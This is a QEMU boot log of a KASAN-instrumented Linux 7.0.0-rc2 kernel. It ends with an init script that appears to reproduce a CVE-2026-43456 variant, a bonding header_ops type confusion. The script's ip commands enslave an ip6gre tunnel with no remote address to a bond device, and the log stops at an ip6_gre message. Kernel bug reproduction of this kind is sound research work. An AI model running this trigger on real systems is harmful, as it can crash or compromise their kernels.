c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+BEFC8B80+BEF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l[ 0.000000] Linux version 7.0.0-rc2 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:28:59 UTC 2026 [ 0.000000] Command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] System RAM [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] device reserved [ 0.000000] BIOS-e820: [gap 0x00000000000a0000-0x00000000000effff] [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] device reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000bffdcfff] System RAM [ 0.000000] BIOS-e820: [mem 0x00000000bffdd000-0x00000000bfffffff] device reserved [ 0.000000] BIOS-e820: [gap 0x00000000c0000000-0x00000000fffbffff] [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] device reserved [ 0.000000] BIOS-e820: [mem 0x0000000100000000-0x000000013fffffff] System RAM [ 0.000000] BIOS-e820: [gap 0x0000000140000000-0x000000fcffffffff] [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] device reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.129 MHz processor [ 0.018527] last_pfn = 0x140000 max_arch_pfn = 0x400000000 [ 0.019216] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.019419] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.020255] last_pfn = 0xbffdd max_arch_pfn = 0x400000000 [ 0.038591] found SMP MP-table at [mem 0x000f5450-0x000f545f] [ 0.051564] ACPI: Early table checksum verification disabled [ 0.052164] ACPI: RSDP 0x00000000000F5250 000014 (v00 BOCHS ) [ 0.052516] ACPI: RSDT 0x00000000BFFE2452 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053393] ACPI: FACP 0x00000000BFFE22EE 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054159] ACPI: DSDT 0x00000000BFFE0040 0022AE (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054348] ACPI: FACS 0x00000000BFFE0000 000040 [ 0.054458] ACPI: APIC 0x00000000BFFE2362 000090 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054535] ACPI: HPET 0x00000000BFFE23F2 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054608] ACPI: WAET 0x00000000BFFE242A 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054754] ACPI: Reserving FACP table memory at [mem 0xbffe22ee-0xbffe2361] [ 0.054820] ACPI: Reserving DSDT table memory at [mem 0xbffe0040-0xbffe22ed] [ 0.054852] ACPI: Reserving FACS table memory at [mem 0xbffe0000-0xbffe003f] [ 0.054881] ACPI: Reserving APIC table memory at [mem 0xbffe2362-0xbffe23f1] [ 0.054909] ACPI: Reserving HPET table memory at [mem 0xbffe23f2-0xbffe2429] [ 0.054936] ACPI: Reserving WAET table memory at [mem 0xbffe242a-0xbffe2451] [ 0.060766] No NUMA configuration found [ 0.060812] Faking a node at [mem 0x0000000000000000-0x000000013fffffff] [ 0.061606] NODE_DATA(0) allocated [mem 0x13fff9900-0x13fffcfff] [ 0.147295] KernelAddressSanitizer initialized (generic) [ 0.147934] ACPI: PM-Timer IO Port: 0x608 [ 0.148538] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 0.149104] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 0.149352] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.149678] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 0.149778] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 0.149906] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 0.149945] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 0.150247] ACPI: Using ACPI (MADT) for SMP configuration information [ 0.150337] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 0.150918] CPU topo: Max. logical packages: 1 [ 0.150998] CPU topo: Max. logical dies: 1 [ 0.151023] CPU topo: Max. dies per package: 1 [ 0.151114] CPU topo: Max. threads per core: 1 [ 0.151431] CPU topo: Num. cores per package: 4 [ 0.151470] CPU topo: Num. threads per package: 4 [ 0.151491] CPU topo: Allowing 4 present CPUs plus 0 hotplug CPUs [ 0.152528] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 0.152601] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 0.152642] PM: hibernation: Registered nosave memory: [mem 0xbffdd000-0xffffffff] [ 0.152825] [gap 0xc0000000-0xfffbffff] available for PCI devices [ 0.152918] Booting paravirtualized kernel on bare hardware [ 0.153349] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 0.253062] Zone ranges: [ 0.253200] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.253362] DMA32 [mem 0x0000000001000000-0x00000000ffffffff] [ 0.253401] Normal [mem 0x0000000100000000-0x000000013fffffff] [ 0.253439] Movable zone start for each node [ 0.253472] Early memory node ranges [ 0.253502] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.253642] node 0: [mem 0x0000000000100000-0x00000000bffdcfff] [ 0.253699] node 0: [mem 0x0000000100000000-0x000000013fffffff] [ 0.253880] Initmem setup node 0 [mem 0x0000000000001000-0x000000013fffffff] [ 0.255188] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.258019] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.967896] On node 0, zone Normal: 35 pages in unavailable ranges [ 0.968524] setup_percpu: NR_CPUS:64 nr_cpumask_bits:4 nr_cpu_ids:4 nr_node_ids:1 [ 0.970228] percpu: Embedded 64 pages/cpu s225048 r8192 d28904 u524288 [ 0.973021] Kernel command line: root=/dev/vda rootwait init=/init console=ttyS0,115200 panic=1 oops=panic loglevel=7 nokaslr rw [ 0.975604] Unknown kernel command line parameters "nokaslr", will be passed to user space. [ 0.975981] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 0.976990] Dentry cache hash table entries: 524288 (order: 10, 4194304 bytes, linear) [ 0.977523] Inode-cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) [ 0.982041] software IO TLB: area num 4. [ 1.016211] Fallback order for Node 0: 0 [ 1.016695] Built 1 zonelists, mobility grouping on. Total pages: 1048443 [ 1.016788] Policy zone: Normal [ 1.017055] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 1.017113] stackdepot: allocating hash table via alloc_large_system_hash [ 1.017284] stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear) [ 1.020538] stackdepot: allocating space for 8192 stack pools via memblock [ 1.304566] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 1.324370] Dynamic Preempt: lazy [ 1.333811] rcu: Preemptible hierarchical RCU implementation. [ 1.333848] rcu: RCU event tracing is enabled. [ 1.333903] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=4. [ 1.334019] Trampoline variant of Tasks RCU enabled. [ 1.334036] Tracing variant of Tasks RCU enabled. [ 1.334195] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 1.334253] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=4 [ 1.336887] RCU Tasks: Setting shift to 2 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=4. [ 1.771041] NR_IRQS: 4352, nr_irqs: 456, preallocated irqs: 16 [ 1.783594] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 1.794219] Console: colour VGA+ 80x25 [ 1.797161] printk: legacy console [ttyS0] enabled [ 1.821346] ACPI: Core revision 20251212 [ 1.834943] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 1.841759] APIC: Switch to symmetric I/O mode setup [ 1.851322] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 1.857462] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3ebf0daee, max_idle_ns: 440795226063 ns [ 1.858409] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.25 BogoMIPS (lpj=3000129) [ 1.863708] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 1.863941] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 1.864522] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 1.865328] Spectre V2 : Mitigation: Retpolines [ 1.865657] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 1.866170] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 1.869533] x86/fpu: x87 FPU will use FXSAVE [ 2.337929] Freeing SMP alternatives memory: 52K [ 2.339302] pid_max: default: 32768 minimum: 301 [ 2.353826] SELinux: Initializing. [ 2.367545] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.367908] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear) [ 2.384427] VFS: Finished mounting rootfs on nullfs [ 2.527990] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 2.550217] Performance Events: PMU not available due to virtualization, using software events only. [ 2.551664] signal: max sigframe size: 1440 [ 2.555011] rcu: Hierarchical SRCU implementation. [ 2.555218] rcu: Max phase no-delay instances is 400. [ 2.558594] Timer migration: 1 hierarchy levels; 8 children per group; 1 crossnode level [ 2.580354] smp: Bringing up secondary CPUs ... [ 2.593809] smpboot: x86: Booting SMP configuration: [ 2.594056] .... node #0, CPUs: #1 #2 #3 [ 2.813608] smp: Brought up 1 node, 4 CPUs [ 2.814426] smpboot: Total of 4 processors activated (24009.09 BogoMIPS) [ 2.832900] Memory: 3430160K/4193772K available (28794K kernel code, 9175K rwdata, 12384K rodata, 5752K init, 820K bss, 758220K reserved, 0K cma-reserved) [ 2.856097] devtmpfs: initialized [ 2.913361] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 2.916443] posixtimers hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 2.917368] futex hash table entries: 1024 (65536 bytes on 1 NUMA nodes, total 64 KiB, linear). [ 2.926522] PM: RTC time: 10:05:22, date: 2026-07-03 [ 2.939538] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 2.952521] audit: initializing netlink subsys (disabled) [ 2.956477] audit: type=2000 audit(1783073122.111:1): state=initialized audit_enabled=0 res=1 [ 2.968279] thermal_sys: Registered thermal governor 'step_wise' [ 2.969121] cpuidle: using governor menu [ 2.980369] PCI: Using configuration type 1 for base access [ 2.982467] mtrr: your CPUs had inconsistent fixed MTRR settings [ 2.983040] mtrr: your CPUs had inconsistent variable MTRR settings [ 2.984039] mtrr: your CPUs had inconsistent MTRRdefType settings [ 2.985046] mtrr: probably your BIOS does not setup all CPUs. [ 2.985582] mtrr: corrected configuration. [ 2.990307] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 3.003948] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 3.005085] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 3.026321] ACPI: Added _OSI(Module Device) [ 3.026635] ACPI: Added _OSI(Processor Device) [ 3.026775] ACPI: Added _OSI(Processor Aggregator Device) [ 3.497944] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 3.536681] ACPI: \_SB_: platform _OSC: OS support mask [002a7eee] [ 3.577679] ACPI: Interpreter enabled [ 3.580402] ACPI: PM: (supports S0 S3 S4 S5) [ 3.580651] ACPI: Using IOAPIC for interrupt routing [ 3.582192] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 3.583067] PCI: Using E820 reservations for host bridge windows [ 3.601782] ACPI: Enabled 2 GPEs in block 00 to 0F [ 4.297758] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 4.300193] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 4.301135] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 4.303502] acpi PNP0A03:00: _OSC: platform retains control of PCIe features (AE_ERROR) [ 4.305730] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 4.317491] PCI host bridge to bus 0000:00 [ 4.319121] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 4.320110] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 4.320578] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 4.321048] pci_bus 0000:00: root bus resource [mem 0xc0000000-0xfebfffff window] [ 4.322083] pci_bus 0000:00: root bus resource [mem 0xc000000000-0xc07fffffff window] [ 4.323096] pci_bus 0000:00: root bus resource [bus 00-ff] [ 4.326517] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 4.345045] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 4.360223] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 4.362693] pci 0000:00:01.1: BAR 4 [io 0xc0c0-0xc0cf] [ 4.363195] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 4.364058] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 4.365071] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 4.366040] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 4.379720] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 4.381176] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 4.382080] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 4.396650] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 4.398065] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 4.399057] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 4.399304] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 4.400910] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 4.415128] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 4.417578] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 4.418063] pci 0000:00:03.0: BAR 1 [io 0xc080-0xc0bf] [ 4.419496] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 4.675419] pci 0000:00:04.0: [1af4:1001] type 00 class 0x010000 conventional PCI endpoint [ 4.677151] pci 0000:00:04.0: BAR 0 [io 0xc000-0xc07f] [ 4.678044] pci 0000:00:04.0: BAR 1 [mem 0xfebb1000-0xfebb1fff] [ 4.678487] pci 0000:00:04.0: BAR 4 [mem 0xc000000000-0xc000003fff 64bit pref] [ 4.990958] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 5.012905] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 5.035538] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 5.057775] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 5.067679] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 5.147320] iommu: Default domain type: Translated [ 5.147690] iommu: DMA domain TLB invalidation policy: lazy mode [ 5.160308] SCSI subsystem initialized [ 5.167463] ACPI: bus type USB registered [ 5.170464] usbcore: registered new interface driver usbfs [ 5.171873] usbcore: registered new interface driver hub [ 5.173582] usbcore: registered new device driver usb [ 5.176549] pps_core: LinuxPPS API ver. 1 registered [ 5.176749] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 5.177439] PTP clock support registered [ 5.186502] Advanced Linux Sound Architecture Driver Initialized. [ 5.210434] NetLabel: Initializing [ 5.210595] NetLabel: domain hash size = 128 [ 5.210724] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 5.213454] NetLabel: unlabeled traffic allowed by default [ 5.222367] PCI: Using ACPI for IRQ routing [ 5.224106] e820: register RAM buffer resource [mem 0x0009fc00-0x0009ffff] [ 5.225347] e820: register RAM buffer resource [mem 0xbffdd000-0xbfffffff] [ 5.229990] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 5.229990] pci 0000:00:02.0: vgaarb: bridge control possible [ 5.229990] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 5.230081] vgaarb: loaded [ 5.234667] hpet: 3 channels of 0 reserved for per-cpu timers [ 5.235460] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 5.235771] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 5.242947] clocksource: Switched to clocksource tsc-early [ 5.263817] VFS: Disk quotas dquot_6.6.0 [ 5.264915] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 5.288563] pnp: PnP ACPI init [ 5.354298] pnp: PnP ACPI: found 6 devices [ 5.545890] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 5.550705] NET: Registered PF_INET protocol family [ 5.553710] IP idents hash table entries: 65536 (order: 7, 524288 bytes, linear) [ 5.579318] tcp_listen_portaddr_hash hash table entries: 2048 (order: 3, 32768 bytes, linear) [ 5.579874] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 5.580841] TCP established hash table entries: 32768 (order: 6, 262144 bytes, linear) [ 5.582746] TCP bind hash table entries: 32768 (order: 8, 1048576 bytes, linear) [ 5.587294] TCP: Hash tables configured (established 32768 bind 32768) [ 5.590428] UDP hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 5.592089] UDP-Lite hash table entries: 2048 (order: 5, 131072 bytes, linear) [ 5.598290] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 5.611496] RPC: Registered named UNIX socket transport module. [ 5.612376] RPC: Registered udp transport module. [ 5.612545] RPC: Registered tcp transport module. [ 5.613311] RPC: Registered tcp-with-tls transport module. [ 5.613549] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 5.638970] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 5.639309] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 5.639506] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 5.639905] pci_bus 0000:00: resource 7 [mem 0xc0000000-0xfebfffff window] [ 5.640186] pci_bus 0000:00: resource 8 [mem 0xc000000000-0xc07fffffff window] [ 5.645259] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 5.645667] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 5.646309] PCI: CLS 0 bytes, default 64 [ 5.647565] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) [ 5.648438] software IO TLB: mapped [mem 0x00000000bbfdd000-0x00000000bffdd000] (64MB) [ 5.708243] Initialise system trusted keyrings [ 5.714364] workingset: timestamp_bits=56 max_order=20 bucket_order=0 [ 5.743951] NFS: Registering the id_resolver key type [ 5.745711] Key type id_resolver registered [ 5.746587] Key type id_legacy registered [ 5.747787] nfs4filelayout_init: NFSv4 File Layout Driver Registering... [ 5.749920] nfs4flexfilelayout_init: NFSv4 Flexfile Layout Driver Registering... [ 5.756250] 9p: Installing v9fs 9p2000 file system support [ 6.070362] Key type asymmetric registered [ 6.071710] Asymmetric key parser 'x509' registered [ 6.074822] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 6.077315] io scheduler mq-deadline registered [ 6.078221] io scheduler kyber registered [ 6.092726] input: Power Button as /devices/platform/LNXPWRBN:00/input/input0 [ 6.097283] ACPI: button: Power Button [PWRF] [ 6.556874] ACPI: \_SB_.LNKD: Enabled at IRQ 11 [ 6.569882] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 6.582203] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 6.626955] Non-volatile memory driver v1.3 [ 6.627239] Linux agpgart interface v0.103 [ 6.633549] ACPI: bus type drm_connector registered [ 6.676862] tsc: Refined TSC clocksource calibration: 3000.110 MHz [ 6.677793] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3ead3f3f9, max_idle_ns: 440795202126 ns [ 6.678790] clocksource: Switched to clocksource tsc [ 6.841074] loop: module loaded [ 6.843749] virtio_blk virtio0: 4/0/0 default/read/poll queues [ 6.880888] virtio_blk virtio0: [vda] 407576 512-byte logical blocks (209 MB/199 MiB) [ 6.983328] scsi host0: ata_piix [ 6.997552] scsi host1: ata_piix [ 7.003225] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc0c0 irq 14 lpm-pol 0 [ 7.003567] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc0c8 irq 15 lpm-pol 0 [ 7.034318] e100: Intel(R) PRO/100 Network Driver [ 7.034716] e100: Copyright(c) 1999-2006 Intel Corporation [ 7.036015] e1000: Intel(R) PRO/1000 Network Driver [ 7.036736] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 7.165174] ata2: found unknown device (class 0) [ 7.174073] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 7.201097] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 7.251443] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 7.252826] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 7.308196] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 7.508593] ACPI: \_SB_.LNKC: Enabled at IRQ 10 [ 7.824247] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 7.825358] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 7.827268] e1000e: Intel(R) PRO/1000 Network Driver [ 7.827441] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 7.828852] sky2: driver version 1.30 [ 7.846573] usbcore: registered new interface driver usblp [ 7.848295] usbcore: registered new interface driver usb-storage [ 7.852453] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 7.859316] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 7.860290] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 7.884117] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input1 [ 7.900968] rtc_cmos 00:05: RTC can wake from S4 [ 7.926023] rtc_cmos 00:05: registered as rtc0 [ 7.929339] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 7.938950] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 7.939886] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 7.941325] hid: raw HID events driver (C) Jiri Kosina [ 7.963386] usbcore: registered new interface driver usbhid [ 7.963809] usbhid: USB HID core driver [ 7.987008] Initializing XFRM netlink socket [ 7.989852] NET: Registered PF_INET6 protocol family [ 8.015156] Segment Routing with IPv6 [ 8.016380] In-situ OAM (IOAM) with IPv6 [ 8.018706] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 8.032339] NET: Registered PF_PACKET protocol family [ 8.035180] 9pnet: Installing 9P2000 support [ 8.036330] Key type dns_resolver registered [ 8.057009] IPI shorthand broadcast: enabled [ 8.345226] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3 [ 8.637738] sched_clock: Marking stable (8578059848, 59577586)->(8653833810, -16196376) [ 8.650174] registered taskstats version 1 [ 8.650442] Loading compiled-in X.509 certificates [ 8.971180] Demotion targets for Node 0: null [ 8.979468] PM: Magic number: 2:802:71 [ 8.981206] netconsole: network logging started [ 8.986288] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 9.000048] kworker/u16:4 (73) used greatest stack depth: 29336 bytes left [ 9.019474] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 9.025847] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 9.027346] ALSA device list: [ 9.027543] No soundcards found. [ 9.033251] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 9.034343] cfg80211: failed to load regulatory.db [ 9.042119] md: Waiting for all devices to be available before autodetect [ 9.042449] md: If you don't use raid, use raid=noautodetect [ 9.042813] md: Autodetecting RAID arrays. [ 9.043105] md: autorun ... [ 9.043206] md: ... autorun DONE. [ 9.065263] EXT4-fs (vda): mounting ext2 file system using the ext4 subsystem [ 9.111200] EXT4-fs (vda): mounted filesystem 00000000-0000-0000-0000-000000000000 r/w without journal. Quota mode: none. [ 9.146413] ext2 filesystem being mounted at /root supports timestamps until 2038-01-19 (0x7fffffff) [ 9.147922] VFS: Mounted root (ext2 filesystem) on device 253:0. [ 9.156325] devtmpfs: mounted [ 9.159788] VFS: Pivoted into new rootfs [ 9.257920] Freeing unused kernel image (initmem) memory: 5752K [ 9.258562] Write protecting the kernel read-only data: 45056k [ 9.271085] Freeing unused kernel image (text/rodata gap) memory: 1924K [ 9.277698] Freeing unused kernel image (rodata/data gap) memory: 1952K [ 9.774473] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 9.775436] Run /init as init process [init] === CVE-2026-43456 VARIANT: ip6gre(no-remote) -> bond header_ops type-confusion === [init] cmd: uname -r 7.0.0-rc2 [ 10.132535] uname (81) used greatest stack depth: 26632 bytes left [ 10.144460] sh (79) used greatest stack depth: 25920 bytes left [init] cmd: cat /proc/version Linux version 7.0.0-rc2 (vscode@70a156dd6cfb) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #1 SMP PREEMPT_DYNAMIC Fri Jul 3 09:28:59 UTC 2026 [init] STEP: loading modules [init] cmd: /sbin/modprobe bonding 2>&1 || /sbin/insmod /root/mods/bonding.ko 2>&1 || true [ 10.586021] modprobe (85) used greatest stack depth: 24912 bytes left [init] cmd: /sbin/modprobe dummy 2>&1 || /sbin/insmod /root/mods/dummy.ko 2>&1 || true [init] cmd: /sbin/modprobe ip6_tunnel 2>&1 || /sbin/insmod /root/mods/ip6_tunnel.ko 2>&1 || true [init] cmd: /sbin/modprobe ip6_gre 2>&1 || /sbin/insmod /root/mods/ip6_gre.ko 2>&1 || true [ 10.965127] gre: GRE over IPv4 demultiplexer driver [ 10.991858] ip6_gre: GRE over IPv6 tunneling driver [init] cmd: /sbin/modprobe ip_tunnel 2>&1 || true [init] cmd: /sbin/ip link set lo up [init] cmd: /sbin/ip -6 addr add fd00::1/128 dev lo 2>&1 || true [init] cmd: /sbin/ip link add dummy0 type dummy 2>&1 || true RTNETLINK answers: File exists [init] cmd: /sbin/ip link set dummy0 up 2>&1 || true [init] STEP: ip6gre1 = IPv6 GRE, local fd00::1, NO remote (-> ip6gre_header_ops assigned) [init] cmd: /sbin/ip link add ip6gre1 type ip6gre local fd00::1 2>&1 || true [init] cmd: /sbin/ip -d link show ip6gre1 2>&1 || true 8: ip6gre1@NONE: mtu 1448 qdisc noop state DOWN mode DEFAULT group default qlen 1000 link/gre6 fd00::1 brd :: permaddr 6e73:1098:d2a0:: promiscuity 0 allmulti 0 minmtu 0 maxmtu 0 ip6gre remote any local fd00::1 hoplimit 64 encaplimit 4 tclass 0x00 flowlabel 0x00000 addrgenmode eui64 numtxqueues 1 numrxqueues 1 gso_max_size 65536 gso_max_segs 65535 tso_max_size 65536 tso_max_segs 65535 gro_max_size 65536 [init] STEP: bond1 (active-backup), enslave ip6gre1 (bond_setup_by_slave copies header_ops) [init] cmd: /sbin/ip link add bond1 type bond mode active-backup 2>&1 || true [init] cmd: /sbin/ip link set ip6gre1 master bond1 2>&1 || true [ 11.992015] bond1: (slave ip6gre1): The slave device specified does not support setting the MAC address [ 11.992555] bond1: (slave ip6gre1): Setting fail_over_mac to active for active-backup mode [ 12.005471] bond1: (slave ip6gre1): making interface the new active one [ 12.008232] bond1: (slave ip6gre1): Enslaving as an active interface with an up link [init] cmd: /sbin/ip link set ip6gre1 up 2>&1 || true [init] cmd: /sbin/ip link set bond1 up 2>&1 || true [ 12.200456] ip6_gre: 